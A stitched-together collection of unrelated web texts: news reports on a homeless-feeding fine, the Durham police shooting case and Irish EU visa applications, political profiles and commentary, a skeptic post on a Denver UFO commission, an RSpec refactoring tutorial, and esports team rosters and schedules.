Following this analysis, it is to gain further insights that we at blaqswans.org wanted to paint a big picture of the emerging post-capitalist paradigm, underpinned by peer-to-peer and collaborative dimensions. We started mapping various domains to go beyond the anecdotal evidence that such or such initiative is venturing into car-sharing or house swapping.
(click on the images for higher resolution)
We confirmed a few things as we drew this map:
There is much more to this transition that the greenwashing offered by Uber and Airbnb, which are actually not peer-to-peer. This is precisely why we deliberately reused the shape of a honeycomb popularised by the “Collaborative Economy Honeycomb” infographic. It lists startup companies claiming to be part of that ‘sharing economy’, when many really are unbridled capitalism trying to further optimise the existing ‘selling economy’ – nothing wrong with selling but let’s not call it ‘sharing’ with the ethical claims usually attached to it.
The intellectual work of theorising this new economy has now reached a critical mass that is too often overlooked by ‘mainstream’ economists, observers, and policy makers who treat it as fringe.
Put together, the practical initiatives run at the grassroots level offer a credible sustainable alternative contradicting the eventual perception that the post-capitalist paradigm is a utopia dreamt up by isolated hippies. On the contrary, it is now possible to shop food regularly outside of mass retailers’ distribution networks, it is possible for a major French city like Grenoble, or Barcelona in Spain to be run by grassroots movements, and it is possible for farmers to produce in a biodynamic and commercially viable way to escape the vicious cycle of pesticides and high yields.
This map is very much work in progress and will be improved as we progress. We wanted to stop contemplating the problems of the current paradigm, and instead show how each of those issues has robust thinkers and influencers offering credible alternatives (we have chosen just a few to illustrate but there are obviously many more), and how those alternatives have started to be implemented to form a coherent system that will bring a post-capitalist society to life.
For this to be successful it will require a movement of movements, an alliance of separate movements, including a coalition of the global social and environmental justice movements, environmentalists, activists for the cancellation of debt, and so on. There is of course no guarantee of success. Every change requires a successful transition: that will be the challenge. But counting and mapping our troops is a first and necessary step to make this cause prevail.
High Resolution Links
Current Capitalist Paradigm Diagram: PNG, PDF
Beyond Capitalism Diagram: PNG, PDF
Joan Cheever said police infringed her religious freedom when they fined her $2,000 for feeding the homeless in San Antonio.
As she'd done every Tuesday for years, Cheever was giving out free meals from her food truck in a public park last week when police rolled up and started writing a ticket. Right away, she told the officers they were burdening her free exercise of religion, according to an on-the-scene report from Texas Public Radio. Cheever pointed to the federal and state Religious Freedom Restoration Acts -- the same kinds of laws that caused massive controversy in Indiana and Arkansas last month over concerns they would allow religious business owners to discriminate against the LGBT community.
"One of the police officers said, 'Ma'am if you want to pray, go to church,'" Cheever told the local NBC affiliate last week. "And I said, 'This is how I pray, when I cook this food and deliver it to the people who are less fortunate.'"
The city of San Antonio says the problem is that Cheever didn't have the right permits for a mobile food vendor.
"The citation was issued for failing to adhere to long-standing regulations that are in place to ensure public health and safety," city spokeswoman Thea Setterbo said in an email to The Huffington Post, adding that the police are working with human services officials to encourage people to do their charity at a homeless shelter downtown. Setterbo didn't say why the city decided to enforce the regulation last week and not before. It could be that Cheever's permits expired.
Cheever's fine seems to be the latest in a series of high-profile efforts by local governments to discourage people from publicly feeding the homeless. Daytona, Florida, police fined a religious couple for feeding crowds of homeless people in a public park last May, and Fort Lauderdale police twice arrested a 90-year-old pastor last fall for doing the same.
In the past two years, 21 cities have restricted street feeding of homeless people, according to the National Coalition for the Homeless. Local lawmakers often pass the ordinances against giving out food in the name of public safety. Street feeders and their legal advocates view them as an effort to keep the local homeless population out of sight.
On Tuesday evening this week, according to Texas Public Radio, Cheever was back at the park with supporters, including one with a sign mentioning the Texas Religious Freedom Act. Cheever has told local media she will contest her fines; she did not respond to interview requests from HuffPost. The website for her food truck, Chow Train, does not say feeding the homeless is part of a religious mission.
Doug Laycock, a professor at the University of Virginia School of Law and an expert on religious freedom laws, said there have been several court cases involving religious freedom and homeless feeding operations over the years, resulting in victories for both sides. Laycock said Cheever's case could come down to whether the permitting process is overly burdensome.
Not many top Tories have relatives in world-famous punk rock bands but Grant Shapps can claim The Clash guitarist Mick Jones as his cousin - and in three years it will be the electorate who will let the Conservatives know whether they should stay or go.
As the new Conservative party co-chairman Grant Shapps' key responsibility will be bringing out the Tory vote and the 43-year-old is seen by supporters as an effective campaigner and media performer.
"Somebody said he's the Duracell bunny of the Conservative party," says fellow Conservative MP Nick Boles, "and I did laugh at that because it's a rather apt description."
Somebody said he's the Duracell bunny of the Conservative party Nick Boles MP, Conservative
Shapps has a very different background to those at the top of the Tory party. Born in Watford, and schooled at the local grammar, Shapps' father was a graphic designer, and his brother Andre joined their cousin Mick Jones to play in Big Audio Dynamite.
But politics was young Grant's calling from an early age and he joined the Jewish youth organisation BBYO - for which he became national president.
Fellow BBYO member Simon Johnson, who became director of the Football Association, remembers meeting an ambitious 13-year-old Shapps:
"I remember him saying very clearly 'my name is Grant, I'm from Pinner, and my ambition is to be a Conservative cabinet minister'.
"At the height of Thatcherism in the 1980s that was a very brave thing for him to say - it exposed him to a lot of mickey-taking.
"But I remember thinking that he was someone with a very clear idea of what they wanted to do, and I got a sense of his focus and ambition."
Image copyright Getty Images Image caption Grant Shapps is the cousin of Mick Jones (second left) - guitarist with the British punk band The Clash
Shapps went on to study business and finance at Manchester Polytechnic, but while in the US he nearly lost his life in a car crash - at the age of 20 he was in a coma for almost a week.
He recovered but just over a decade later he was diagnosed with Hodgkins Lymphoma - for his sister and brother Andre, it was a horrifying time.
"My parents were brilliant. At one stage left the three of us together in a room, probably the day after he was admitted to hospital, and we all just cried and cried.
"Thinking there is a real chance your brother is going to die - it's horrible."
But after successful chemotherapy treatment, Shapps went into remission and made a full recovery.
Lessons in campaigning
Throughout this time he had grown a successful printing business - which he started aged 21 - to finance his interest in politics and he proved ever-loyal to the party during the John Major era.
In 1997 he stood against the current Liberal Democrat deputy leader Simon Hughes in a seat where the Tories had no hope - but Hughes says the young candidate took the fight seriously.
"He has often said all the campaigning he has learnt, he learnt from us - the Liberals in Southwark - and he watched that and he copied that," recalls Hughes.
"I seem to remember that some of the Tory leaflets that appeared in the run-up to the election in '97, didn't look hugely dissimilar to our leaflets."
If he does the same for the Conservative party as he did for housing then the Tories are doomed Jack Dromey MP, Shadow housing minister
Whether copied from the Lib Dems or not, Shapps gained a reputation as a skilled campaigner - eventually winning a seat in Welwyn Hatfield in 2005.
He was then made Tory vice-chairman but as deputy political editor of The Times Sam Coates recalls, it wasn't all plain sailing.
"Certainly his first big test, which was quite soon after he was elected, was to be put in charge of the Ealing-Southall by-election [and] it didn't go very well.
"Senior Tories did feel that the campaign was a bit of a flop and in his role as a campaigner, which is what he is meant to be regarded for, he has yet to prove himself."
This makes the choice of Shapps as party chairman - which will see him with considerable control of the next general election campaign - an interesting one.
Wikipedia controversy
Certainly Shapps seems a fan of technology and makes the most of social media for campaigning - but his online interests have been getting him into hot water.
Image copyright Reuters Image caption Critics say Shapps' reputation as a savvy political campaigner is unproven
The Observer recently claimed he secretly altered his Wikipedia entry, removing a reference to his time at Watford Grammar and a list of political gaffes.
But also raising eyebrows is the revelation that Grant Shapps has had an alias - Michael Green - under which he wrote self-help guides for a website called HowToCorp, which he ran with his wife Belinda. Shapps says he is no longer involved with the company.
Shapps also has lots of Twitter followers and there have been suggestions that the MP might have been using techno trickery to increase his Twitter support. Shapps says he writes all his own tweets and nobody else has access to his account.
He makes a lot of his liking for Nandos. He is saying 'I am not a Notting Hill, privileged Tory MP from a wealthy background' Sam Coates, The Times
But what about Grant Shapps' record in office? He has had the housing brief in opposition and government for the last five years and Shapps has said homelessness was a big motivating factor for his interest in politics.
However, Labour shadow housing minister Jack Dromey is scathing about such claims: "He has cultivated an image, saying that it was homelessness that brought him into politics, but he's actually really quite right-wing, and on delivery as housing minister, to be frank, it was a record of miserable failure.
"If he does the same for the Conservative party as he did for housing then the Tories are doomed."
If Shapps wants to escape the Westminster pressures his own home life seems to be important - he has three young children.
One passion outside politics is flying - Shapps is a qualified pilot - but he has also spoken of more down to earth pleasures, with the restaurant chain Nandos said to be a firm favourite.
"He makes a lot of his liking for Nandos," says Sam Coates, of The Times, "he is saying 'I am not a Notting Hill, privileged Tory MP from a wealthy background'."
"He is saying 'I am someone who has strived to get where I am. I don't need the finest restaurants in order to feel fulfilled'."
True Tory boy
Shapps' populist tastes might well prepare him for the rubber chicken circuit that he is about to embark on as Tory co-chairman, rallying the troops, but now he has the job he has apparently been lobbying for, can he re-energise the Tory base?
Those of us who are in our 40s are probably 80s Tory Boys... we are a product of that era Stewart Jackson MP, Conservative
He is seen as being on the mainstream right but for all the confidence some ask whether there is too much swagger.
His friend Stewart Jackson MP says maybe there is some truth in comments that Shapps is a bit of a Tory boy - a caricature of a young Conservative MP:
"Those of us who are in our 40s are probably 80s Tory Boys, we think that, as one of my colleagues said this week, the next best thing to Dallas coming back is Margaret Thatcher coming back... we are a product of that era.
"At the same time, in Shapps' case, he is about as modern a Tory as you can imagine," says Jackson.
With Tory membership down since the last election the pressure is on for Shapps - but how much influence will he have, given that strategy is still firmly in the hand of the Chancellor?
Has Shapps been appointed for his tech-savvy campaigning skills and because he is trusted to do what he is told and get on with the laborious legwork?
"He will cooperate, he will work as a team, but I don't think he is somebody you can just hand a series of orders to and be left to get on with it," says Sam Coates. "He will want to push the idea of standing up for mainstream Britain."
Fans of Grant Shapps predictably talk him up - so could he even bid for the top job himself at some point? Critics say he is all show and no delivery and suggest his risk taking might make him vulnerable.
But with the Tory conference and a by-election coming up in the next few weeks, this man who likes a challenge will certainly be exposed, and the General Election will itself determine the fate of the Tories - and Grant Shapps' - political future.
Unsurprisingly, the people of Denver don't want to spend their money on researching UFO sightings instead of basic public services.
Some residents of Denver are really, really curious about alien life. And obviously, I don’t blame them for their desire to know whether we’re alone in the universe or not, and if the latter is the case, what real aliens from a different solar system look like. In their desire to know, they proposed a commission to handle extraterrestrial affairs and succeeded in putting it on the ballot during the midterm elections. Fear not, your tax dollars had nothing to fear because the commission was supposed to be funded by grants and donations from citizens with an interest in alien life. Of course I say this in past tense because the proposition didn’t pass at the polls and the city of Denver won’t have it’s very own commission on otherworldly life. But why? Maybe the initiative’s appeal to long standing conspiracy theories involving government deals with UFOs had voters questioning if their city really needed to formally ratify UFOlogists’ lore, even if this wouldn’t be done at taxpayer’s expense?
You may remember some rumors about this proposition from late last year, when this blog hosted an edition of the Skeptics’ Circle and linked to a brief article on the subject. The whole thing was organized by UFOlogy buffs with a little too much time on their hands, one of whom even claimed to have real footage of a classic humanoid Gray alien peeking into a bedroom, and used this “evidence” to argue for a committee tasked with investigate UFO sightings and conduct exopolitical affairs for the city of Denver. And this isn’t the only time that zealous UFOlogists tried to create a legally recognized committee to deal with aliens. Over the summer of last year, European alien hunters petitioned the EU to form an exopolitical council and were summarily ignored, primarily because giving conspiracy theorists money and political clout to push their dearly held notions of an alien presence on Earth is a bad idea. Today, a lot of people are sure that aliens exist. There’s already a body that’s responsible for finding their attempts to communicate with us, and most of NASA’s current programs in space exploration are based on finding any possible scientific proof of alien habitats nearby.
So why give paranoid conspiracy theorists who convinced themselves that our governments are hiding aliens any influence in what scientists are already doing to find confirmed evidence of otherworldly life? So we could either waste money on chasing non-existent proof of their fervent beliefs, or justify their campaigns with votes and government seals of approval so others could throw their money down the same sinkhole? In case they haven’t noticed, money’s a little tight for everyone nowadays with the Great Recession and a job market that’s highly unlikely to recover until 2017, and will never be the same again, so spending it to order the military or bureaucrats to find documents that don’t exist is ridiculous to say the least. The public would quickly shift their opinion of UFOlogists, re-branding them from harmless conspiracy theorists with way too much time on their hands and not enough things to keep them busy, to expensive pests who need to be removed from positions of power. And even worse, most UFOlogists will just see the negative opinion of their actions as a conspiracy to derail them just as they’re getting close to “the truth” and obliviously press on.
Whether it is the sub-state entities of Hamas in Palestine, Hezbollah in Lebanon, or the Mahdi movement in Shiite southern Iraq; or the hopes, dreams, and delusions of millions of Sunni Arabs, principally in Egypt, who feel a closer psychological identity with radical Shiite mullahs than with their own Pharaonic Sunni autocracy, Iran has built its dominion on a combination of anti-western ideas and the dynamic wiliness of its intelligence operations (which, in turn, are a reflection of a civilization more developed and urbanized than that of the Arabs). Iran’s message of anti-Semitism and hatred toward the United States plays well across sectarian lines in the Sunni Arab world, which identifies its own fatigued, uninspiring, and detested rulers with the side of the U.S. and Israel. Sunni Arabs hate their own rulers, but despairing of changing their own lot, they channel that hatred toward us: thus the potency of the Iranian message. A nuclear weapon will only supply Iran with more prestige among the Arab lumpen faithful.
The ideologizing of hatred, like the ideologizing of religion, can empower millions of alienated, working-class Arabs who feel psychologically adrift in the world of the early 21st century. Israel won its audacious military reputation during the age of Arab state armies. Because Arabs never believed in their own secular states, their armies were never very good in the first place, and thus Israel had no trouble impressing the world in its wars against them. But at the sub-state level of movements like Hamas or Hezbollah, the Arabs very much believe in their cause, and thus Israel has a real challenge on its hands.
The Tánaiste, Frances Fitzgerald briefed her Cabinet colleagues on the matter yesterday, stating that she was highly concerned with the “significant increase”.
It is understood Ireland received 10,000 applications last year from people wanting to become EU citizens, and 5,000 in the first half of this year. This is in comparison to just 1,800 applications being made in 2014.
The rising trend is understood to be linked to the UK Brexit vote.
Brexit vote
It’s believed the government had expected a rise over the last two years due to the anticipated EU referendum in the UK, which resulted in a Leave vote this year.
The applications are submitted by “qualifying family members” who wish to travel to Ireland under the terms of a European directive allowing EU citizens and their family members to move and reside freely within a member state.
The Tánaiste previously spoke in the Dáil about her concerns of the possible abuse of the visa system. It’s likely some of the “qualifying family members” applying to Ireland have relatives currently living in the UK while some other applicants have UK citizenship.
I am further advised that there has been an exponential increase in such applications since the second quarter of 2015.
I can say that there are increasing concerns around potential abuse of the EU Directive in relation to such cases and the State has an obligation to take into account the overall integrity of its immigration system in dealing with applications.
James Brokenshire Source: David Young
Last month, the Tánaiste raised the rising trend of visa applications with the UK Home Office and the former UK immigration minister, James Brokenshire. He is now the new Secretary of State for Northern Ireland.
Matt is a big old nerd and he loves it
Matt is a 30 something year old comic artist from Yorkshire. Over the last 10 years he has published several books in the UK, traveled to more comic conventions than he can count, taught children's drawing workshops, built 3d printers, run games of Dungeons & Dragons and generally just been a geek.
He is working on a new comic series which should see the light of day somewhere before the heat death of the universe and roughly 456 other projects on the go at any one point.
With all that said, hit him up on social media, he's a pretty chill guy.
Police say an officer placed the teen in the back of a patrol car November 19 after he was arrested on a second-degree trespassing charge. As the car pulled into the police department parking lot around 2:30 in the morning, the officer reported hearing a loud bang and he jumped out of the moving car, which then rolled into parked vehicles.
Huerta was found dead of a gunshot wound in the back of the cruiser. Police have said gunshot residue was found in gloves Huerta was wearing and no residue was found on the officer's hands. It has also said the gun did not belong to a police officer.
Where it came from remains unclear. Durham Police Department policy calls for prisoners to be searched before they're transported. Huerta's family has called for more information to be released, but the Durham Police Department has refused - citing an ongoing investigation by the SBI.
The Huerta case has triggered multiple protests in Durham, two have which have turned violent as protestors clashed with police.
In addition to thousands of petition signatures requesting an FBI probe, it appears the chairman of the Civil Rights Commission has taken a personal interest in the case.
"My door is open," said Durham Mayor Bill Bell. "They initiated the contact and I asked them to let me know when."
Bell was poised to meet with Martin Castro, the chairman of the U.S. Civil Rights Commission on Thursday, but that meeting has been cancelled.
Bell told ABC11 there has been a string of emails from Castro. Bell said the meeting would have been a personal visit - not on behalf of the commission - and it's unclear what piqued the chairman's interest.
"I don't have the slightest idea," said Bell. "Obviously, it's gotten national media attention. I don't know if anyone has written specifically to this agency asking for that."
It may not be the only federal agency interested in the Huerta case.
Weeks ago, the teen's family marched right up to the gates of the FBI field office in Cary to hand deliver thousands of petition signatures, which called for a top to bottom investigation of the Durham Police Department.
An FBI spokesperson told ABC11 that no decision has been made on whether to investigate.
Bell said he'd like to see police say more about the case.
"We can't afford not to release as much information as we can," he offered.
Bell and other city leaders say they stand firm in their request for a complete picture of what exactly happened.
The Durham Police Department's internal review is still pending along with the SBI's report.
"You're always going to have some issues that come up," said Bell. "I think what's more important is how we handle these issues. Obviously, this particular issue, in my opinion, hasn't been handled the best in terms of communicating to the public in terms of what occurred and why it occurred."
Adding to the tension, a makeshift memorial for Huerta has been removed by police. His family said it is outraged.
Police offered this explanation: "The memorial for Mr. Huerta was allowed to be placed in the police department parking lot as a courtesy to his family; however, it was not our intent to allow it to remain indefinitely. The memorial was removed by department staff over the weekend after it was allowed to remain on site for slightly more than a week."
Bell said the police department could shed more light on what exactly happened this week or next week.
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I want to share my thoughts about a specific, low-level duplication problem, that I see often in rspec tests.
Why?
Tests are software, so design concepts apply to them as well. One of the key things is to keep them DRY.
In a words of Sandi Metz from Practical Object-Oriented Design in Ruby:
Removing duplication from testing lowers the cost of changing them in reaction to application changes(..)[1]
Use case
Take a look at this Ruby class.
1 2 3 4 5 6 7 8 9 class Foo def initialize ( dependency :) @dependency = dependency end def call ( an_argument ) #... end end
A class with one dependency that responds to one method which takes one argument.
For simplicity, lets assume that #call is a query method, which can be tested by asserting a return value.
SPECS
What I’ve observed, developers tend to write specs structured more or less like:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 describe Foo do let ( :a_dependency ) { .. } let ( :other_dependency ) { .. } describe '#call' do context 'when initilaized with a_dependency' do context 'when something' do let ( :argument ) { .. } subject { Foo . new ( dependency: a_dependency ) } it { expect ( subject . call ( argument )). to eq ( 123 ) } end context 'when not something' do let ( :argument ) { .. } subject { Foo . new ( dependency: a_dependency ) } it { expect ( subject . call ( argument )). to eq ( 456 ) } end end context 'when initialized with other_dependency' do context 'when something' do let ( :argument ) { .. } subject { Foo . new ( dependency: other_dependency ) } it { expect ( subject . call ( argument )). to eq ( 234 ) } end context 'when not something' do let ( :argument ) { .. } subject { Foo . new ( dependency: other_dependency ) } it { expect ( subject . call ( argument )). to eq ( 567 ) } end end end end
In above specs, different contexts are covered and subjects are described. I believe that by looking at it you can tell what is going on there.
However, there are some repetitions which violate DRY principle:
Tested class name Foo is used few times (in lines: 1, 9, 15, 23, 29).
is used few times (in lines: 1, 9, 15, 23, 29). Knowledge about how to instantiate tested class is duplicated in each example (lines: 9, 15, 23, 29).
Knowledge about how to call tested method is duplicated as well (lines: 10, 16, 24, 30).
Therefore, if one of the followings change:
class name,
way of initializing (more/less injected dependencies),
method name,
arguments number.
..if one of above change in code, then 4-5 specs lines need to be adjusted keep the tests up to date.
It’s not that problematic, but still, improving it makes sense.
Refactor #step 1 - move lets into their contexts
Because declaring them on the top makes an impression that two dependencies need’s to be initialized in order to run the specs. Which is not true - only one dependency is needed. There are two of them, because of two contexts. So moving them into their contexts makes it easier to follow.
Contexts descriptions is making it clear how they vary between each other and the fact that they have the same names makes it easier to understand that they represent the same being (lines: 4, 20)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 describe Foo do describe '#call' do context 'when initilaized with a dependency' do let ( :dependency ) { .. } context 'when something' do let ( :argument ) { .. } subject { Foo . new ( dependency: dependency ) } it { ... } end context 'when not something' do let ( :argument ) { .. } subject { Foo . new ( dependency: dependency ) } it { ... } end end context 'when initialized with other dependency' do let ( :dependency ) { ... } context 'when something' do let ( :argument ) { .. } subject { Foo . new ( dependency: dependency ) } it { ... } end ... end end end
Refactor #step 2 - keep knowledge how to initialize tested class in one place
Because this knowledge is common for all examples.
In different contexts, different dependencies are used to instantiate tested class. These dependencies can be declared later (in line 6), in their contexts, after subject declaration (line 3).
It works because of subject’s lazy evaluation - code in subject’s block is evaluated in line 7, not in line 3.
1 2 3 4 5 6 7 8 9 10 11 12 describe Foo do describe '#call' do subject { Foo . new ( dependency: dependency ) } context 'when initilaized with a dependency' do let ( :dependency ) { .. } it { expect ( subject . call ( argument )). to eq ( .. ) } end # ... end end
If we wanted to test more methods, we would have to create more describe blocks. In this case I would suggest extracting the knowledge about how to initialize tested class to a let block at the top. After that - reuse it in subject declarations.
1 2 3 4 5 6 7 8 9 10 11 12 13 describe Foo do let ( :foo ) { Foo . new ( dependency: dependency ) } describe '#a_method' do subject { foo . a_method ( argument ) } # ... end describe '#other_method' do subject { foo . other_method ( argument ) } # ... end end
Refactor #step 3 - keep knowledge how to call tested method in one place
For the same reasons as in previous step.
Instead of duplicating subject.call(argument) in each expectation, it could be moved into the subject, because it’s the same in each case (line 5 in below listing).
Final version
Tested class name is used once (line: 1 - described_class).
Knowledge how to instantiate tested class is kept in one place (line: 2).
Knowledge how to call tested method is kept in one place, following it’s describe block (line: 5).
let blocks are declared within their contexts (lines: 8 and 22 , 11 and 16 , 25 and 30 ).
As a result of eliminating these duplications, specs became also more readable. When looking at the nesting levels, we can see a kind of descending from general to detailed structure.
The general things are declared higher, closer to the top and the context-related details are nested deeper.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 describe Foo do let ( :foo ) { described_class . new ( depencency: dependency ) } describe '#call' do subject { foo . call ( argument ) } context 'when initilaized with a dependency' do let ( :dependency ) { .. } context 'when something' do let ( :argument ) { .. } it { expect ( subject ). to eq ( 123 ) } end context 'when not something' do let ( :argument ) { .. } it { expect ( subject ). to eq ( 456 ) } end end context 'when initialized with other dependency' do let ( :dependency ) { .. } context 'when something' do let ( :argument ) { .. } it { expect ( subject ). to eq ( 234 ) } end context 'when not something' do let ( :argument ) { .. } it { expect ( subject ). to eq ( 567 ) } end end end end
Practice writing DRY specs. This habit pays of.
With Donald Trump now mired in scandal, it is looking increasingly probable that Hillary Clinton will be the 45th president of the United States, a country that holds many of the keys to Syria’s political future.
So what would a Clinton presidency mean for Syria? On the one hand, it would guarantee a certain continuity in U.S. Syria policy, which Hillary Clinton was instrumental in shaping as secretary of state from 2009 to 2013. But she has also spoken out against President Barack Obama’s reluctance to escalate against the Syrian government and its Russian and Iranian allies.
The Clinton campaign website states that she would “conduct more intense and effective air strikes” and “provide additional support to Kurdish and Sunni rebel forces on the ground,” while creating “a coalition no-fly zone in the air coupled with safe zones on the ground.” These moves would not be directly aimed at toppling Syrian President Bashar al-Assad, but rather would seek to accomplish humanitarian goals while building “leverage and momentum for a diplomatic solution that removes Assad and brings Syria’s communities together” to fight the self-declared Islamic State. This is still Clinton’s official platform, as she confirmed in the presidential debate on October 9.
These views place her starkly at odds with Trump, a Russian favorite whose anti-interventionist leanings suggest he would look to avoid any conflict with Damascus and Moscow. But what could have been an informative and ideologically charged debate between two candidates on opposite ends of the policy spectrum never came to pass. Instead, Trump’s chaotic presidential bid and his manifest lack of interest in foreign policy have allowed Clinton to maintain a certain ambiguity about her future intentions in Syria.
Overruled by Obama
There is no disputing that Clinton takes a close interest in the Syrian conflict. “As Obama’s secretary of state she worked very hard to get the political opposition organized and jump start a political transition, while organizing an enormous relief effort for refugees and internally displaced Syrians,” recalled Steven Simon in an email interview. He is a history professor at Amherst College, who served as senior director for Middle East and North Africa at the National Security Council from 2011 until 2012.
However, Clinton ultimately failed to persuade Obama of the wisdom of her more confrontational strategy. In summer 2012, she backed a CIA proposal to supply U.S. arms directly to the Syrian opposition, which Obama ultimately rejected in favor of more limited nonlethal support and coordination.
It would not be until after Clinton left office in February 2013 that the White House formally approved the direct arming of Syrian rebels. According to the German Marshall Fund’s Derek Chollet, who was at the time the assistant secretary of defense for international security affairs, and who spoke to me by phone in summer, the administration had by then become “more confident that the supplies we would provide would stand a chance of bringing about the desired results, not just make things worse.”
A hawk or dove?
Clinton’s early support for arming the Syrian rebels has strengthened the perception of her as a foreign policy hawk. This was also the impression conveyed by a widely read Clinton profile in the New York Times last April, which highlighted her strong interest in military affairs and ties to activist foreign policy circles. However, it is not a unanimous view.
As part of her presidential bid, Hillary Clinton has gathered an impressive roster of foreign-policy specialists and former officials into a loose network presided over by Laura Rosenberger and Jake Sullivan, two former State Department officials. This has resulted in the creation of a Middle East working group reportedly led by Derek Chollet, Tamara Cofman Wittes, and Prem Kumar.
Clinton’s network spans a broad range of opinion, by Washington standards. It includes several high-profile skeptics of U.S. escalation, such as Chollet and Philip Gordon, who formerly handled Middle East issues at the National Security Council and has argued that the administration should abort its campaign against Assad. Kumar, too, has suggested “freezing” the conflict instead of trying to edge Assad out of office. On balance, however, most senior names seem to lean toward the Clinton brand of liberal interventionism, with many already on record as criticizing Obama for having been too cautious in Syria. Wittes, a former deputy assistant secretary of state for Near Eastern affairs, has argued that there is little use in trying to salvage the institutions of an Assad-led central government and that a primary U.S. goal should be to minimize Iranian influence in Syria. Former under secretary of defense Michèle Flournoy, who is widely thought to be Clinton’s favorite for the top job at the Pentagon, supports the use of “limited military coercion” to boost U.S. influence in Syria and remove Assad. The choice of Tim Kaine as Clinton’s vice president further reinforces the activist side of her policy team, since the Virginia senator is a prominent advocate of using “a little bit of military muscle” in Syria.
But some argue that Clinton’s interventionist reputation has been exaggerated. “Campaigning is not governing,” says the Wilson Center’s Aaron David Miller, who worked on Middle Eastern affairs in both Democratic and Republican administrations. In a phone interview earlier this year, he argued that Clinton is at heart a cautious politician whose main focus will likely be on domestic issues, given that the country will need time to heal after an economic crisis and a divisive presidential election. “Will she order a review of our options with the Syrian opposition and on how to deal with the Russians?” asked Miller, before continuing:
Yeah, she might do that. But I suspect the decision points will come back and be no less painful than they are now when faced by this president. Which means this: If you want to play with these other actors, who are ready to sacrifice much, you’ll have to be prepared to introduce new elements on the ground. I find it hard to believe in this.
Indeed, virtually all of Clinton’s advisers oppose an outright military-led ousting of Assad and many seem to think that the road to peace in Syria runs through Moscow, one way or the other. For example, in an address to the Asia Society last May, Sullivan repeated calls for U.S.-imposed safe zones in Syria, but also stated that there was ultimately “no solution that didn’t involve the U.S. and Russia working together.”
Being hit by Syria's reality
“Hillary, by instinct, is clearly more hawkish than Obama on this stuff, although probably not as hawkish as she is portrayed,” I was told by one former administration official who supports the Clinton campaign.
Another prominent voice, the former ambassador to Syria Robert S. Ford, who now works as a senior fellow at the Middle East Institute, seemed to agree. “No one should expect any fast, major changes on U.S. policy towards Syria, regardless of whether Trump or Clinton wins in November,” he wrote me in an online interview earlier this year:
Clinton likely will be inclined to develop more leverage in Syria in order to achieve a real political negotiation. However, Russian forces operating in Syria are a reality, and as a pragmatist, she will have to find ways to build that leverage without directly confronting Russian military forces inside Syria. That will take some time. There is no one-shot approach that will sharply boost flagging U.S. credibility and influence in Syria.
That is also the view of Frederic C. Hof, who worked as Clinton’s Syria adviser until September 2012 and is now director of the Atlantic Council's Rafik Hariri Center. In an email interview in summer, he wrote that Clinton would probably be “open to a serious examination of limited military steps designed to exact a price for and deter mass murder” by Assad’s forces, but cautioned that her options would ultimately be determined by conditions in spring 2017:
Moscow and Tehran understand this. This is why they seek a military victory for Assad now, while the White House is paralyzed. They assume, of course, that Barack Obama will remain inert no matter what they and their client regime do.
Check the in-app ESPORTS tab for coverage throughout the season.
EUROPE ROSTERS
Dynasty
SPLIT 2
Mowglie (captain)
PTLam (carry)
Rikumeza (jungler)
ChefLachaud (sub)
(sub) ChefCaptal (sub)
SPLIT 1
Mowglie (captain)
PTLam (carry)
Rikumeza (jungler)
IBaguette (sub)
TriisFeegle (sub)
FNATIC
nettetoilette (captain)
TetnoJJ (carry)
Palmatoro (jungler)
kaerl (sub)
G2 Esports
KeanuNakoa (captain)
Hundor (carry)
DarkPotato (jungler)
D1ngo (sub)
Reddix (sub)
mousesports
SPLIT 2
justman00 (captain)
L3oN (carry)
ImtheDoom (jungler)
Loere (sub)
IroNs (sub)
SPLIT 1
justman00 (captain)
Tr1cKy (carry)
ImtheDoom (jungler)
Loere (sub)
physiX (sub)
Team Qlash
SPLIT 2
HellsDevil (captain)
Mercilles (carry)
AgOny(jungler)
HFGuy (sub)
Disowned (sub)
SPLIT 1
HellsDevil (captain)
Mercilles (carry)
AgOny(jungler)
HFGuy (sub)
Flobby (sub)
SaltyPotatoes
KLast (captain)
Sn3aKy (carry)
ThejoKeR (carry)
KraQz (sub)
ESQuire (sub)
SK Gaming
SPLIT 2
Hegman (captain)
KValafar (carry)
Tyruzz (jungler)
MiniMitre (sub)
Bayu (sub)
SPLIT 1
Raph (captain)
KValafar (carry)
Tyruzz (jungler)
Hegman (sub)
Bayu (sub)
Calamity Reborn
SPLIT 2
Gh0st83 (captain)
Apfel123 (carry)
AeOn(jungler)
SPLIT 1
Gh0st83 (captain)
L3oN (carry)
AeOn(jungler)
corteZ (sub)
NORTH AMERICA ROSTERS
Cloud9
gabevizzle (captain)
Oldskool (carry)
iLoveJoseph (jungler)
Azurenai (sub)
R3cKeD (sub)
Team SoloMid
FlashX (captain)
BestChuckNa (carry)
VONC (jungler)
LuckyBread (sub)
GankStars
SPLIT 2
MackDaddyB (captain)
LuluXiu (carry)
XenoTek (jungler)
Slop (sub)
Quwasiq (sub)
SPLIT 1
MackDaddyB (captain)
LuluXiu (carry)
XenoTek (jungler)
SuiJeneris (sub)
Hammers
Chicken (captain)
StartingAllOver (carry)
Status (jungler)
Poli5208 (sub)
Eliminate (sub)
Nova esports
SPLIT 2
Eeko (captain)
Truth (carry)
LoneDelphi (jungler)
starboi (sub)
BLG3RNT (sub)
SPLIT 1
starboi (captain)
Truth (carry)
LoneDelphi (jungler)
Eeko (sub)
eddyal (sub)
Rogue
eVoL (captain)
Hami (carry)
PONtheoriginal (jungler)
Sibs (sub)
Tribe Gaming
MaxGreen (captain)
DNZio (Carry)
ttigers (jungler)
Xelciar (sub)
HotSauceUT (sub)
Tempo Storm
SPLIT 2
LostBoyToph (captain)
Gaspy (carry)
Hide (jungler)
Odds (sub)
PlayboiAfro (sub)
SPLIT 1
LostBoyToph (captain)
Gaspy (carry)
Hide (jungler)
Odds (sub)
God0fSins (sub)
SPLIT 1 SCHEDULE
SATURDAY, SEPTEMBER 23
Click to see EU schedule MATCH 1: 17:00 BST MOUSESPORTS vs FNATIC MATCH 2: 18:30* BST CALAMITY REBORN vs DYNASTY MATCH 3: 18:30 BST SALTY POTATOES vs G2 ESPORTS MATCH 4: 20:00 BST SK GAMING vs TEAM QLASH
